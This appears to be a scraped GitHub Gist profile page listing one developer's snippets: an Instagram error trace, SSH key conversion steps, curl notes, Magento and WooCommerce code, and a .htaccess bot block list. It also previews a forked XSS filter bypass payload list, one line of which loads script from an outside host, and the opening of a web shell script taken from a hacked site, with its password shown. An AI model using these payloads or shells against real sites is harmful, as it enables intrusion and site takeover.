Skip to content

Instantly share code, notes, and snippets.

View wingsryder's full-sized avatar

Vikram Thakur wingsryder

View GitHub Profile
@wingsryder
wingsryder / instagram_crash_error_2024
Created January 29, 2024 10:49
Instagram PHP error 2024 While profile pic upload
Couldn't change photo (<ApplicationErrorType.UNKNOWN:0>, 'Failed to transform a linked target: Tried to transform a linked target account but failed\
n#0 /var/ www/flib/purpose/cipp/ DetectionZone.php(615):Closure$FXTransformerBase::genTra nsformHandleExceptions)|
n#1 /var/www/flib/purpose/cipp/ DetectionZone.php(605):DetectionZone::genEvallnnerContextImpl)|
n#2 /var/www/flib/purpose/cipp/DetectionZone.php(557):DetectionZone::genEvallnnerContext () |
n#3 /var/www/flib/purpose/cipp/DetectionZone.php(487):DetectionZone::genEval)\
n#4 /var/ www/flib/purpose/cipp/ DetectionZone.php(83):DetectionZone::genRunImpl\
n#5 /var/www/flib/family_experiences/ cipp_detection/ FXCIPPAwareAPl.php(146):DetectionZone::genRun()|
n#6 /var/ www/flib/master_account/ account_linking/transformers/core/ FXTransformerBase.php(294):FXCIPPAwareAP|::genRunWithAnnotationPolicyZones()\
n#7 /var/www/flib/master_account/account_linking/ transformers/core/ FXTransformerBase.php(214):FXTransformerBase->genTransformInPolicyZone()\
@wingsryder
wingsryder / ppk_login_ubuntu.md
Created June 1, 2022 18:05
SSH using .ppk file in ubuntu

Step 1: Install putty tools on Debian ubuntu sudo apt-get install putty-tools

Step 2: Convert ppk to pem using putty puttygen {ppkfilename}.ppk -O private-openssh -o {pemFileName}.pem

Step 3: change permission of pem file You need to change the permission of the file to 400 to use pem file. chmod 400 {pemFileName}.pem

@wingsryder
wingsryder / curl.md
Created April 22, 2022 18:57 — forked from subfuzion/curl.md
curl POST examples

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

@wingsryder
wingsryder / xxsfilterbypass.lst
Created February 28, 2018 09:07 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@wingsryder
wingsryder / Magento2-API-OAuth-based_authentication.php
Created February 1, 2018 17:21 — forked from rafaelstz/Magento2-API-OAuth-based_authentication.php
Sample files to use Magento 2 REST and SOAP API. Using Token-based authentication and OAuth-based authentication method.
<?php
function sign($method, $url, $data, $consumerSecret, $tokenSecret)
{
$url = urlEncodeAsZend($url);
$data = urlEncodeAsZend(http_build_query($data, '', '&'));
$data = implode('&', [$method, $url, $data]);
$secret = implode('&', [$consumerSecret, $tokenSecret]);
@wingsryder
wingsryder / local.xml
Created June 2, 2017 19:09 — forked from Maksold/local.xml
Magento XML - local.xml boilerplate
<?xml version="1.0"?>
<layout>
<default>
<!--Root/Default Layouts-->
<reference name="root">
<!--Appending Block-->
<block type="page/html_breadcrumbs" name="breadcrumbs" as="breadcrumbs"/>
</reference>
<!--CSS and JS Files-->
@wingsryder
wingsryder / flush_cache.php
Last active May 26, 2017 14:32
Clean all magento cache including images and js/css
<?php
require 'app/Mage.php';
Mage::app('admin')->setUseSessionInUrl(false);
Mage::getConfig()->init();
echo "- Initializing cleaning all caches";
$types = Mage::app()->getCacheInstance()->getTypes();
try {
echo "- Refreshing data cache.\n";
@wingsryder
wingsryder / .htaccess
Created March 23, 2017 13:32
Bot Block using .htaccess
# Bot Block #
RewriteEngine On
# Block Essential Bots #
#RewriteCond %{HTTP_USER_AGENT} ^(.*)msnbot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)MJ12bot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)BLEXBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)SolomonoBot [NC,OR]
#RewriteCond %{HTTP_USER_AGENT} ^(.*)bingbot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)Baiduspider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)Yeti [NC,OR]
<?php
// to be add in functions.php
// THis will provide option to add Custom ORder for displaying category in sidebar in woo-commerce
// Screenshot : http://prntscr.com/axya62
add_action('product_cat_add_form_fields', 'category_metabox_add', 10, 1);
add_action('product_cat_edit_form_fields', 'category_metabox_edit', 10, 1);
add_action('created_product_cat', 'save_category_meta_data', 10, 1);
add_action('edited_product_cat', 'save_category_meta_data', 10, 1);
@wingsryder
wingsryder / walker-xhell.php
Last active December 27, 2015 12:45
walker-xhell.php
/* This script has been taken from one of hacked website by walker 404 / Arjasari Cyber Team. This has been shared for education purpose only.
*
*/
<?php
/**
$auth_pass = "1b20369c2cf27cd1fbc0ed634759f05e"; // password : umaruchan
$color = "cyan";